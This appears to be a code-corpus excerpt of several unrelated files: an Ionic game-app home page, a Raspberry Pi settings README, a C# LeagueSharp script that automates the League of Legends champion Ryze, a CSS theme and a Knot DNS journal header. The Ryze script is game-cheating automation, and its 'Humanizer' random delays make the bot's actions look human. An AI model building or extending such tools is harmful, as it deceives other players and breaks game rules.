transform: translate(-50%, -50%) scale(0);
transition: all 0.3s;
opacity: 0;
border-radius: 50%;
}
.toggle:checked ~ .tab {
opacity: 1;
transform: translate(-50%, -50%) scale(1);
}
.menu > .toggle:checked ~ .tab:nth-of-type(1) {
top: -110px;
left: 0px;
transition-delay: 0s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(2) {
top: -60px;
left: 110px;
transition-delay: 0.125s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(3) {
top: 50px;
left: 110px;
transition-delay: 0.25s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(4) {
top: 100px;
left: 0px;
transition-delay: 0.375s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(5) {
top: 45px;
left: -100px;
transition-delay: 0.5s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(6) {
top: -70px;
left: -100px;
transition-delay: 0.625s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(7) {
top: 0px;
left: -133.33333px;
transition-delay: 0.75s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(8) {
top: -94.2809px;
left: -94.2809px;
transition-delay: 0.875s;
}
#nickname {
float: right;
color: black;
font-size: 3vh;
}
#conn_status{
margin-top:3vh;
margin-left: 21vw;
height: 5vh;
width: 10vw;
float: left;
}
#gems{
margin-top:3vh;
font-size: 4vh;
float: left;
margin-left: 1vw;
}
#gem-icon{
margin-top:3vh;
float: left;
height: 5vh;
width: 10vw;
}
hr{
margin-top:15vh;
}
}
@media (min-width: 768px) and (max-width: 1024px) {
.more{
float: none;
margin-top: 30vh;
}
.container{
margin-top: 100px;
}
#avatar{
float: center;
height:80px;
width:80px;
margin-left: 30vw;
border-radius: 50%;
}
.menu {
position: relative;
margin-top: 25%;
left: 50%;
width: 0px;
transform: translate(-50%, 55%);
}
.toggle + .style {
width: 200px;
height: 200px;
border-radius: 50%;
cursor: pointer;
transform: translate(-50%, -50%) scale(1);
z-index: 5;
display: block;
max-width: 50vw;
margin-bottom: 0;
background-size: cover;
background-position: center;
font-size: 2.5em;
padding-top: 75px;
text-align: center;
-webkit-transition: all .8s;
-moz-transition: all .8s;
-o-transition: all .8s;
-ms-transition: all .8s;
transition: all .8s;
}
.menu p{
max-width: 20vw;
text-align: center;
margin: 0 auto;
line-height: 25px;
padding-top: 50px;
font-weight: 300;
font-size: 1.5em;
}
.toggle + .style:hover{
-webkit-box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
-moz-box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
-ms-box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
-o-box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
}
.toggle:checked + .style {
transform: translate(-50%, -50%) scale(.5);
}
.menu input[type=checkbox] + label:before {
content: "";
position: absolute;
}
.toggle:checked + .style:before, .toggle:checked + .style:after {
transform: rotate(135deg);
}
.toggle ~ .tab {
position: absolute;
background: #008DFF;
color: #fff;
width: 120px;
height: 120px;
left: 0px;
top: 0px;
transform: translate(-50%, -50%) scale(0);
transition: all 0.3s;
opacity: 0;
border-radius: 50%;
}
.toggle:checked ~ .tab {
opacity: 1;
transform: translate(-50%, -50%) scale(1);
}
.menu > .toggle:checked ~ .tab:nth-of-type(1) {
top: -130px;
left: 0px;
transition-delay: 0s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(2) {
top: -70px;
left: 120px;
transition-delay: 0.125s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(3) {
top: 70px;
left: 130px;
transition-delay: 0.25s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(4) {
top: 150px;
left: 0px;
transition-delay: 0.375s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(5) {
top: 80px;
left: -120px;
transition-delay: 0.5s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(6) {
top: -50px;
left: -120px;
transition-delay: 0.625s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(7) {
top: 0px;
left: -133.33333px;
transition-delay: 0.75s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(8) {
top: -94.2809px;
left: -94.2809px;
transition-delay: 0.875s;
}
#nickname{
float:right;
margin-right: 1vw;
color: black;
font-size: 2vh;
}
#conn_status{
margin-top:3vh;
margin-left: 220px;
height: 50px;
width: 50px;
float: left;
}
#gems{
margin-top:2vh;
font-size: 2vh;
float: left;
margin-left: 1vw;
}
#gem-icon{
margin-top:1vh;
float: left;
height: 5vh;
width: 10vw;
}
hr{
margin-top:5vh;
}
#nickname{
float: right;
}
}
@media (min-width: 1025px) and (max-width: 1280px){
.more{
float: none;
margin-top: 30vh;
}
.container{
margin-top: 100px;
}
#avatar{
float: center;
height:100px;
width:100px;
margin-left: 28vw;
border-radius: 50%;
}
.menu {
position: relative;
margin-top: 25%;
left: 50%;
width: 0px;
transform: translate(-50%, 55%);
}
.toggle + .style {
width: 200px;
height: 200px;
border-radius: 50%;
cursor: pointer;
transform: translate(-50%, -50%) scale(1);
z-index: 5;
display: block;
max-width: 50vw;
margin-bottom: 0;
background: #008DFF;
color: #fff;
font-size: 2.5em;
background-size: 100% 100%;
padding-top: 75px;
text-align: center;
-webkit-transition: all .8s;
-moz-transition: all .8s;
-o-transition: all .8s;
-ms-transition: all .8s;
transition: all .8s;
}
.menu p{
max-width: 20vw;
text-align: center;
margin: 0 auto;
line-height: 25px;
padding-top: 50px;
font-weight: 300;
font-size: 1.5em;
}
.toggle + .style:hover{
-webkit-box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
-moz-box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
-ms-box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
-o-box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
box-shadow: 0px 1px 20px 0px rgba(0, 0, 0, .7);
}
.toggle:checked + .style {
transform: translate(-50%, -50%) scale(.5);
}
.menu input[type=checkbox] + label:before {
content: "";
position: absolute;
}
.toggle:checked + .style:before, .toggle:checked + .style:after {
transform: rotate(135deg);
}
.toggle ~ .tab {
position: absolute;
background: #008DFF;
color: #fff;
width: 120px;
height: 120px;
left: 0px;
top: 0px;
transform: translate(-50%, -50%) scale(0);
transition: all 0.3s;
opacity: 0;
border-radius: 50%;
}
.toggle:checked ~ .tab {
opacity: 1;
transform: translate(-50%, -50%) scale(1);
}
.menu > .toggle:checked ~ .tab:nth-of-type(1) {
top: -130px;
left: 0px;
transition-delay: 0s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(2) {
top: -70px;
left: 120px;
transition-delay: 0.125s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(3) {
top: 70px;
left: 130px;
transition-delay: 0.25s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(4) {
top: 150px;
left: 0px;
transition-delay: 0.375s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(5) {
top: 80px;
left: -120px;
transition-delay: 0.5s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(6) {
top: -50px;
left: -120px;
transition-delay: 0.625s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(7) {
top: 0px;
left: -133.33333px;
transition-delay: 0.75s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(8) {
top: -94.2809px;
left: -94.2809px;
transition-delay: 0.875s;
}
#nickname{
float:right;
margin-right: 1vw;
color: black;
font-size: 3vh;
}
#conn_status{
margin-top:3vh;
margin-left: 220px;
height: 50px;
width: 50px;
float: left;
}
#gems{
margin-top:3vh;
font-size: 4vh;
float: left;
margin-left: 1vw;
}
#gem-icon{
margin-top:3vh;
float: left;
height: 80px;
width: 80px;
}
hr{
margin-top:5vh;
}
#nickname{
float: right;
}
}
@media (min-width: 1281px) {/*Desktops*/
.container{
margin-top: 50px;
}
#avatar{
float: right;
height:200px;
width:300px;
border-radius: 50%;
}
.menu {
position: relative;
margin-top: 200px;
left: 50%;
width: 0px;
transform: translate(-50%, 55%);
}
.toggle + .style {
width: 700px;
height: 200px;
border-radius: 50%;
cursor: pointer;
transform: translate(-50%, -50%) scale(1);
z-index: 5;
display: block;
max-width: 100px;
margin-bottom: 0;
background: #008DFF;
color: #fff;
font-size: 2.5em;
padding-top: 75px;
text-align: center;
-webkit-transition: all .8s;
-moz-transition: all .8s;
-o-transition: all .8s;
-ms-transition: all .8s;
transition: all .8s;
}
.menu p{
max-width: 20vw;
text-align: center;
margin: 0 auto;
line-height: 25px;
padding-top: 30px;
font-weight: 500;
font-size: 1.5em;
}
.toggle:checked + .style {
transform: translate(-50%, -50%) scale(.5);
}
.menu input[type=checkbox] + label:before {
content: "";
position: absolute;
}
.toggle + .style:after {
content: "";
position: absolute;
margin: -3px;
border-radius:5px;
transition: all 0.3s;
}
.toggle + .style:after {
width: 100px;
height: 30px;
left: 25px;
top: 10px;
}
.toggle ~ .tab {
position: absolute;
background: #008DFF;
color: #fff;
width: 150px;
height: 150px;
left: 0px;
top: 0px;
transform: translate(-50%, -50%) scale(0);
transition: all 0.3s;
opacity: 0;
border-radius: 50%;
}
.toggle:checked ~ .tab {
opacity: 1;
transform: translate(-50%, -50%) scale(1);
}
.menu > .toggle:checked ~ .tab:nth-of-type(1) {
top: -180px;
left: 0px;
transition-delay: 0s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(2) {
top: -90px;
left: 150px;
transition-delay: 0.125s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(3) {
top: 80px;
left: 160px;
transition-delay: 0.25s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(4) {
top: 200px;
left: 0px;
transition-delay: 0.375s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(5) {
top: 100px;
left: -150px;
transition-delay: 0.5s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(6) {
top: -80px;
left: -150px;
transition-delay: 0.625s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(7) {
top: 0px;
left: -133.33333px;
transition-delay: 0.75s;
}
.menu > .toggle:checked ~ .tab:nth-of-type(8) {
top: -94.2809px;
left: -94.2809px;
transition-delay: 0.875s;
}
#conn_status{
margin-top:3vh;
margin-left: 34vw;
height: 10vh;
width: 7vw;
float: left;
}
#gems{
margin-top:5vh;
font-size: 4vh;
float: left;
margin-left: 1vw;
}
#gem-icon{
margin-top:3vh;
float: left;
height: 10vh;
width: 7vw;
}
hr{
margin-top:10vh;
}
#nickname{
margin-top: 10vh
}
}
#game{
background-image: url("assets/static/icons/bazi.png");
background-size: 100% 100%;
}
#history{
background-image: url("assets/static/icons/eftekharat.png");
background-size: 100% 100%;
}
#about{
background-image: url("assets/static/icons/info.ico");
background-size: 100% 100%;
}
#news{
background-image: url("assets/static/icons/notif.png");
background-size: 100% 100%;
}
#store{
background-image: url("assets/static/icons/forushgah.png");
background-size: 100% 100%;
}
#cup{
background-image: url("assets/static/icons/jam.png");
background-size: 100% 100%;
}
#best_avatar{
float: left;
display: inline;
width: 18vw;
height: 12vh;
}
#best_info{
font-size: 1.3em;
}
</style>
<ion-content padding >
<div id ="status">
<img id=avatar src='' (click)="myHistory()"><img id='gem-icon' src='assets/static/gem.png' (click)="Store()"><span id='gems'>{{score}}</span><p align=right id=nickname>{{nickname}}</p>
</div>
<hr>
<button ion-button (click)="new_HOME()">new ui</button>>
<div class="container">
<div class='menu'>
<input id='toggle' class='toggle' type='checkbox' checked >
<label id='style' class='style' for='menu' (click)="Avatar()">
<i class="fa fa-bars" aria-hidden="true"></i>
</label>
<a id="game" class='tab' (click)="Game()" >
<p></p>
</a>
<a id="history" class='tab' (click)="myHistory()">
<p></p>
</a>
<a id="about" class='tab' (click)="AboutUs()">
<p> </p>
</a>
<a id="news" class='tab' (click)="News()">
<p></p>
</a>
<a id="store" class='tab' (click)="Store()">
<P></P>
</a>
<a id="cup" class='tab' (click)="Cups()">
<P></P>
</a>
</div>
</div>
<br><br>
<br>
<br>
<br>
<div>
<ion-card>
<ion-card-header>
<img id="best_avatar" src="{{best_player_avatar}}">
<p id="best_info">{{best_player_name}}: {{best_player_gems}}</p>
</ion-card-header>
<ion-card-content>
</ion-card-content>
</ion-card>
</div>
</ion-content>
| amirrezaask/Cartach_client | src/pages/home/home.html | HTML | gpl-3.0 | 25,783 |
# piconf
##Before we begin:
* This is my first project using Git & GitHub
* My first complex C project
* First attempt at a autotools project
* My Main languages are Java, JScript, Python & BASIC
* It will contain stupid / beginners mistakes & bad smelling
* The proof on concept was written in python but C has been choosen for the rewrite for preformance perticularly startup times
##Graphical Raspberry Pi settings
###What about raspi-config?
raspi-config is a text based script that isnt all to user friendly, pi-conf uses a Gtk3 UI but it is / will be used as the backend for many features
###Hang on isnt that rc_gui?
No. rc_gui is a dialog for accessing raspi-config featues but still isnt great in its friendless and only has limited funtionality leaving you needing other utilities such a pipanel with yet another incosistant UI
###So what is it?
pi-conf aims to replace the likes of:
* ru_gui
* pipanel
* alacarte
with one consistant easy to use extendable application.
####What do you mean extendable
as in Window Control Panel where that new hardware you added conviniently adds its little icon so anyone can add a page for the app or addon for the pi
giving you on centeral configuration platform.
###How can i use it?
piconf is in the early stages but to give it a go grab a copy of this repo open a termnal in the projects roor and enter `autoreconf && ./configure && make all && sudo make install && pi-conf` although you may have to install `libgtk-3-dev` first.
| ZanderBrown/piconf | README.md | Markdown | gpl-3.0 | 1,483 |
using System;
using System.Linq;
using LeagueSharp;
using LeagueSharp.Common;
using Slutty_ryze.Properties;
namespace Slutty_ryze
{
internal class Program
{
readonly static Random Seeder = new Random();
private static bool _casted;
private static int _lastw;
#region onload
private static void Main(string[] args)
{
if (args == null) throw new ArgumentNullException("args");
// So you can test if it in VS wihout crahses
#if !DEBUG
CustomEvents.Game.OnGameLoad += OnLoad;
#endif
}
private static void OnLoad(EventArgs args)
{
if (GlobalManager.GetHero.ChampionName != Champion.ChampName)
return;
Console.WriteLine(@"Loading Your Slutty Ryze");
Humanizer.AddAction("generalDelay",35.0f);
Champion.Q = new Spell(SpellSlot.Q, 865);
Champion.Qn = new Spell(SpellSlot.Q, 865);
Champion.W = new Spell(SpellSlot.W, 585);
Champion.E = new Spell(SpellSlot.E, 585);
Champion.R = new Spell(SpellSlot.R);
Champion.Q.SetSkillshot(0.26f, 50f, 1700f, true, SkillshotType.SkillshotLine);
Champion.Qn.SetSkillshot(0.26f, 50f, 1700f, false, SkillshotType.SkillshotLine);
//assign menu from MenuManager to Config
Console.WriteLine(@"Loading Your Slutty Menu...");
GlobalManager.Config = MenuManager.GetMenu();
GlobalManager.Config.AddToMainMenu();
Printmsg("Ryze Assembly Loaded");
Printmsg1("Current Version: " + typeof(Program).Assembly.GetName().Version);
Printmsg2("Don't Forget To " + "<font color='#00ff00'>[Upvote]</font> <font color='#FFFFFF'>" + "The Assembly In The Databse" + "</font>");
//Other damge inficators in MenuManager ????
GlobalManager.DamageToUnit = Champion.GetComboDamage;
Drawing.OnDraw += DrawManager.Drawing_OnDraw;
Game.OnUpdate += Game_OnUpdate;
#pragma warning disable 618
Interrupter.OnPossibleToInterrupt += Champion.RyzeInterruptableSpell;
Spellbook.OnCastSpell += Champion.OnProcess;
#pragma warning restore 618
Orbwalking.BeforeAttack += Champion.Orbwalking_BeforeAttack;
//CustomEvents.Unit.OnDash += Champion;
ShowDisplayMessage();
}
#endregion
private static void Printmsg(string message)
{
Game.PrintChat(
"<font color='#6f00ff'>[Slutty Ryze]:</font> <font color='#FFFFFF'>" + message + "</font>");
}
private static void Printmsg1(string message)
{
Game.PrintChat(
"<font color='#ff00ff'>[Slutty Ryze]:</font> <font color='#FFFFFF'>" + message + "</font>");
}
private static void Printmsg2(string message)
{
Game.PrintChat(
"<font color='#00abff'>[Slutty Ryze]:</font> <font color='#FFFFFF'>" + message + "</font>");
}
#region onGameUpdate
private static void ShowDisplayMessage()
{
var r = new Random();
var txt = Resources.display.Split('\n');
switch (r.Next(1, 3))
{
case 2:
txt = Resources.display2.Split('\n');
break;
case 3:
txt = Resources.display3.Split('\n');
break;
}
foreach (var s in txt)
Console.WriteLine(s);
#region L# does not allow D:
//try
//{
// var sr = new System.IO.StreamReader(System.Net.WebRequest.Create(string.Format("http://www.fiikus.net/asciiart/pokemon/{0}{1}{2}.txt", r.Next(0, 1), r.Next(0, 3), r.Next(0, 9))).GetResponse().GetResponseStream());
// string line;
// while ((line = sr.ReadLine()) != null)
// {
// Console.WriteLine(line);
// }
//}
//catch
//{
// // ignored
//}
#endregion
}
private static void Game_OnUpdate(EventArgs args)
{
try // lazy
{
if (GlobalManager.Config.Item("test").GetValue<KeyBind>().Active)
{
GlobalManager.GetHero.IssueOrder(GameObjectOrder.MoveTo, Game.CursorPos);
var targets = TargetSelector.GetTarget(Champion.W.Range, TargetSelector.DamageType.Magical);
if (targets == null)
return;
if (Champion.W.IsReady())
{
LaneOptions.CastW(targets);
{
_lastw = Environment.TickCount;
}
}
if (Environment.TickCount - _lastw >= 700 - Game.Ping)
{
if (Champion.Q.IsReady())
{
LaneOptions.CastQn(targets);
_casted = true;
}
}
if (_casted)
{
LaneOptions.CastE(targets);
LaneOptions.CastQn(targets);
_casted = false;
}
}
if (GlobalManager.Config.Item("chase").GetValue<KeyBind>().Active)
{
GlobalManager.GetHero.IssueOrder(GameObjectOrder.MoveTo, Game.CursorPos);
var targets = TargetSelector.GetTarget(Champion.W.Range + 200, TargetSelector.DamageType.Magical);
if (targets == null)
return;
if (GlobalManager.Config.Item("usewchase").GetValue<bool>())
LaneOptions.CastW(targets);
if (GlobalManager.Config.Item("chaser").GetValue<bool>() &&
targets.Distance(GlobalManager.GetHero) > Champion.W.Range + 200)
Champion.R.Cast();
}
if (GlobalManager.GetHero.IsDead)
return;
if (GlobalManager.GetHero.IsRecalling())
return;
if (Champion.casted == false)
{
MenuManager.Orbwalker.SetAttack(true);
}
var target = TargetSelector.GetTarget(Champion.Q.Range, TargetSelector.DamageType.Magical);
if (GlobalManager.Config.Item("doHuman").GetValue<bool>())
{
if (!Humanizer.CheckDelay("generalDelay")) // Wait for delay for all other events
{
Console.WriteLine(@"Waiting on Human delay");
return;
}
//Console.WriteLine("Seeding Human Delay");
var nDelay = Seeder.Next(GlobalManager.Config.Item("minDelay").GetValue<Slider>().Value, GlobalManager.Config.Item("maxDelay").GetValue<Slider>().Value); // set a new random delay :D
Humanizer.ChangeDelay("generalDelay", nDelay);
}
if (MenuManager.Orbwalker.ActiveMode == Orbwalking.OrbwalkingMode.Combo)
{
//
// if (target.IsValidTarget()
// && GlobalManager.GetHero.Distance(target) > 400 && (Champion.Q.IsReady() && Champion.W.IsReady() && Champion.E.IsReady()))
// {
// MenuManager.Orbwalker.SetAttack(false);
// }
//
// if (target.IsValidTarget() && GlobalManager.GetHero.Distance(target) > 400
// && (GlobalManager.GetPassiveBuff == 4 || GlobalManager.GetHero.HasBuff("ryzepassivecharged"))
// &&
// ((!Champion.Q.IsReady() && !Champion.W.IsReady() && !Champion.E.IsReady()) ||
// (Champion.Q.IsReady() && Champion.W.IsReady() && Champion.E.IsReady())))
// {
// MenuManager.Orbwalker.SetAttack(false);
// }
Champion.AABlock();
LaneOptions.ImprovedCombo();
if (target.Distance(GlobalManager.GetHero) >=
GlobalManager.Config.Item("minaarange").GetValue<Slider>().Value)
{
MenuManager.Orbwalker.SetAttack(false);
}
else
{
MenuManager.Orbwalker.SetAttack(true);
}
}
if (MenuManager.Orbwalker.ActiveMode == Orbwalking.OrbwalkingMode.Mixed)
{
LaneOptions.Mixed();
MenuManager.Orbwalker.SetAttack(true);
}
if (MenuManager.Orbwalker.ActiveMode == Orbwalking.OrbwalkingMode.LaneClear)
{
if (!GlobalManager.Config.Item("disablelane").GetValue<KeyBind>().Active)
LaneOptions.LaneClear();
LaneOptions.JungleClear();
}
if (MenuManager.Orbwalker.ActiveMode == Orbwalking.OrbwalkingMode.LastHit)
LaneOptions.LastHit();
if (MenuManager.Orbwalker.ActiveMode == Orbwalking.OrbwalkingMode.None)
{
if (GlobalManager.Config.Item("tearS").GetValue<KeyBind>().Active)
ItemManager.TearStack();
if (GlobalManager.Config.Item("autoPassive").GetValue<KeyBind>().Active)
Champion.AutoPassive();
ItemManager.Potion();
MenuManager.Orbwalker.SetAttack(true);
}
if (GlobalManager.Config.Item("UseQauto").GetValue<bool>() && target != null)
{
if (Champion.Q.IsReady() && target.IsValidTarget(Champion.Q.Range))
Champion.Q.Cast(target);
}
// Seplane();
ItemManager.Item();
Champion.KillSteal();
ItemManager.Potion();
if (GlobalManager.Config.Item("level").GetValue<bool>())
{
AutoLevelManager.LevelUpSpells();
}
if (!GlobalManager.Config.Item("autow").GetValue<bool>() || !target.UnderTurret(true)) return;
if (target == null)
return;
if (!ObjectManager.Get<Obj_AI_Turret>()
.Any(turret => turret.IsValidTarget(300) && turret.IsAlly && turret.Health > 0))
return;
Champion.W.CastOnUnit(target);
// DebugClass.ShowDebugInfo(true);
}
catch
{
// ignored
}
}
#endregion
/*
private static void Seplane()
{
if (GlobalManager.GetHero.IsValid &&
GlobalManager.Config.Item("seplane").GetValue<KeyBind>().Active)
{
ObjectManager.GlobalManager.GetHero.IssueOrder(GameObjectOrder.MoveTo, Game.CursorPos);
LaneClear();
}
}
*/
}
}
| 654955321/HY_Recommend | 英雄脚本/【红叶推介】Slutty 瑞兹/Program.cs | C# | gpl-3.0 | 11,624 |
@import "../startbootstrap-agency/css/agency.min.css";
.text-primary {
color: #ff7058;
}
a {
color: #ff7058;
}
a:hover,
a:focus,
a:active,
a.active {
color: #324a5e;
}
.btn-primary {
background-color: #ff7058;
border-color: #ff7058;
}
.btn-primary:hover,
.btn-primary:focus,
.btn-primary:active,
.btn-primary.active,
.open .dropdown-toggle.btn-primary {
background-color: #324a5e;
border-color: #324a5e;
}
.btn-primary.disabled,
.btn-primary[disabled],
fieldset[disabled] .btn-primary,
.btn-primary.disabled:hover,
.btn-primary[disabled]:hover,
fieldset[disabled] .btn-primary:hover,
.btn-primary.disabled:focus,
.btn-primary[disabled]:focus,
fieldset[disabled] .btn-primary:focus,
.btn-primary.disabled:active,
.btn-primary[disabled]:active,
fieldset[disabled] .btn-primary:active,
.btn-primary.disabled.active,
.btn-primary[disabled].active,
fieldset[disabled] .btn-primary.active {
background-color: #ff7058;
border-color: #ff7058;
}
.btn-primary .badge {
color: #ff7058;
}
.btn-xl {
background-color: #ff7058;
border-color: #ff7058;
}
.btn-xl:hover,
.btn-xl:focus,
.btn-xl:active,
.btn-xl.active,
.open .dropdown-toggle.btn-xl {
background-color: #324a5e;
border-color: #324a5e;
}
.btn-xl.disabled,
.btn-xl[disabled],
fieldset[disabled] .btn-xl,
.btn-xl.disabled:hover,
.btn-xl[disabled]:hover,
fieldset[disabled] .btn-xl:hover,
.btn-xl.disabled:focus,
.btn-xl[disabled]:focus,
fieldset[disabled] .btn-xl:focus,
.btn-xl.disabled:active,
.btn-xl[disabled]:active,
fieldset[disabled] .btn-xl:active,
.btn-xl.disabled.active,
.btn-xl[disabled].active,
fieldset[disabled] .btn-xl.active {
background-color: #ff7058;
border-color: #ff7058;
}
.btn-xl .badge {
color: #ff7058;
}
.navbar-custom .navbar-brand {
color: #ff7058;
}
.navbar-custom .navbar-brand:hover,
.navbar-custom .navbar-brand:focus,
.navbar-custom .navbar-brand:active,
.navbar-custom .navbar-brand.active {
color: #324a5e;
}
.navbar-custom .navbar-toggle {
background-color: #ff7058;
border-color: #ff7058;
}
.navbar-custom .navbar-toggle:hover,
.navbar-custom .navbar-toggle:focus {
background-color: #ff7058;
}
.navbar-custom .nav li a:hover,
.navbar-custom .nav li a:focus {
color: #ff7058;
}
.navbar-custom .navbar-nav > .active > a {
background-color: #ff7058;
}
.navbar-custom .navbar-nav > .active > a:hover,
.navbar-custom .navbar-nav > .active > a:focus {
background-color: #324a5e;
}
header {
background-color: #cccbc9;
background-image: url('../img/header-bg.jpg');
}
.timeline > li .timeline-image {
background-color: #ff7058;
}
section#contact .form-control:focus {
border-color: #ff7058;
}
ul.social-buttons li a:hover,
ul.social-buttons li a:focus,
ul.social-buttons li a:active {
background-color: #ff7058;
}
::-moz-selection {
background: #ff7058;
}
::selection {
background: #ff7058;
}
body {
webkit-tap-highlight-color: #ff7058;
}
| solution-libre/les-autres-website | css/agency.css | CSS | gpl-3.0 | 2,882 |
/* Copyright (C) 2011 CZ.NIC, z.s.p.o. <[email protected]>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/*!
* \file journal.h
*
* \author Marek Vavrusa <[email protected]>
*
* \brief Journal for storing transactions on permanent storage.
*
* Journal stores entries on a permanent storage.
* Each written entry is guaranteed to persist until
* the maximum file size or node count is reached.
* Entries are removed from the least recent.
*
* Journal file structure
* <pre>
* uint16_t node_count
* uint16_t node_queue_head
* uint16_t node_queue_tail
* journal_entry_t free_segment
* node_count *journal_entry_t
* ...data...
* </pre>
* \addtogroup utils
* @{
*/
#ifndef _KNOTD_JOURNAL_H_
#define _KNOTD_JOURNAL_H_
#include <stdint.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdbool.h>
/*!
* \brief Journal entry flags.
*/
typedef enum journal_flag_t {
JOURNAL_NULL = 0 << 0, /*!< Invalid journal entry. */
JOURNAL_FREE = 1 << 0, /*!< Free journal entry. */
JOURNAL_VALID = 1 << 1, /*!< Valid journal entry. */
JOURNAL_DIRTY = 1 << 2, /*!< Journal entry cannot be evicted. */
JOURNAL_TRANS = 1 << 3 /*!< Entry is in transaction (uncommited). */
} journal_flag_t;
/*!
* \brief Journal node structure.
*
* Each node represents journal entry and points
* to position of the data in the permanent storage.
*/
typedef struct journal_node_t
{
uint64_t id; /*!< Node ID. */
uint16_t flags; /*!< Node flags. */
uint16_t next; /*!< Next node ptr. */
uint32_t pos; /*!< Position in journal file. */
uint32_t len; /*!< Entry data length. */
} journal_node_t;
/*!
* \brief Journal structure.
*
* Journal organizes entries as nodes.
* Nodes are stored in-memory for fast lookup and also
* backed by a permanent storage.
* Each journal has a fixed number of nodes.
*
* \todo Organize nodes in an advanced structure, like
* btree or hash table to improve lookup time (issue #964).
*/
typedef struct journal_t
{
int fd;
struct flock fl; /*!< File lock. */
pthread_mutex_t mutex; /*!< Synchronization mutex. */
char *path; /*!< Path to journal file. */
uint16_t tmark; /*!< Transaction start mark. */
uint16_t max_nodes; /*!< Number of nodes. */
uint16_t qhead; /*!< Node queue head. */
uint16_t qtail; /*!< Node queue tail. */
uint16_t bflags; /*!< Initial flags for each written node. */
size_t fsize; /*!< Journal file size. */
size_t fslimit; /*!< File size limit. */
journal_node_t free; /*!< Free segment. */
journal_node_t *nodes; /*!< Array of nodes. */
} journal_t;
/*!
* \brief Entry identifier compare function.
*
* \retval -n if k1 < k2
* \retval +n if k1 > k2
* \retval 0 if k1 == k2
*/
typedef int (*journal_cmp_t)(uint64_t k1, uint64_t k2);
/*!
* \brief Function prototype for journal_walk() function.
*
* \param j Associated journal.
* \param n Pointer to target node.
*/
typedef int (*journal_apply_t)(journal_t *j, journal_node_t *n);
/*
* Journal defaults and constants.
*/
#define JOURNAL_NCOUNT 1024 /*!< Default node count. */
#define JOURNAL_MAGIC {'k', 'n', 'o', 't', '1', '5', '0'}
#define MAGIC_LENGTH 7
/* HEADER = magic, crc, max_entries, qhead, qtail */
#define JOURNAL_HSIZE (MAGIC_LENGTH + sizeof(crc_t) + sizeof(uint16_t) * 3)
/*!
* \brief Create new journal.
*
* \param fn Journal file name, will be created if not exist.
* \param max_nodes Maximum number of nodes in journal.
*
* \retval KNOT_EOK if successful.
* \retval KNOT_EINVAL if the file with given name cannot be created.
* \retval KNOT_ERROR on I/O error.
*/
int journal_create(const char *fn, uint16_t max_nodes);
/*!
* \brief Open journal.
*
* \warning This doesn't open the file yet, just sets up the structure.
* Call \fn journal_retain before reading/writing the journal.
*
* \param fn Journal file name.
* \param fslimit File size limit (0 for no limit).
* \param bflags Initial flags for each written node.
*
* \retval new journal instance if successful.
* \retval NULL on error.
*/
journal_t* journal_open(const char *fn, size_t fslimit, uint16_t bflags);
/*!
* \brief Fetch entry node for given identifier.
*
* \param journal Associated journal.
* \param id Entry identifier.
* \param cf Compare function (NULL for equality).
* \param dst Destination for journal entry.
*
* \retval KNOT_EOK if successful.
* \retval KNOT_ENOENT if not found.
*/
int journal_fetch(journal_t *journal, uint64_t id,
journal_cmp_t cf, journal_node_t** dst);
/*!
* \brief Read journal entry data.
*
* \param journal Associated journal.
* \param id Entry identifier.
* \param cf Compare function (NULL for equality).
* \param dst Pointer to destination memory.
*
* \retval KNOT_EOK if successful.
* \retval KNOT_ENOENT if the entry cannot be found.
* \retval KNOT_EINVAL if the entry is invalid.
* \retval KNOT_ERROR on I/O error.
*/
int journal_read(journal_t *journal, uint64_t id, journal_cmp_t cf, char *dst);
/*!
* \brief Read journal entry data.
*
* \param journal Associated journal.
* \param n Entry.
* \param dst Pointer to destination memory.
*
* \retval KNOT_EOK if successful.
* \retval KNOT_ENOENT if the entry cannot be found.
* \retval KNOT_EINVAL if the entry is invalid.
* \retval KNOT_ERROR on I/O error.
*/
int journal_read_node(journal_t *journal, journal_node_t *n, char *dst);
/*!
* \brief Write journal entry data.
*
* \param journal Associated journal.
* \param id Entry identifier.
* \param src Pointer to source data.
*
* \retval KNOT_EOK if successful.
* \retval KNOT_EAGAIN if no free node is available, need to remove dirty nodes.
* \retval KNOT_ERROR on I/O error.
*/
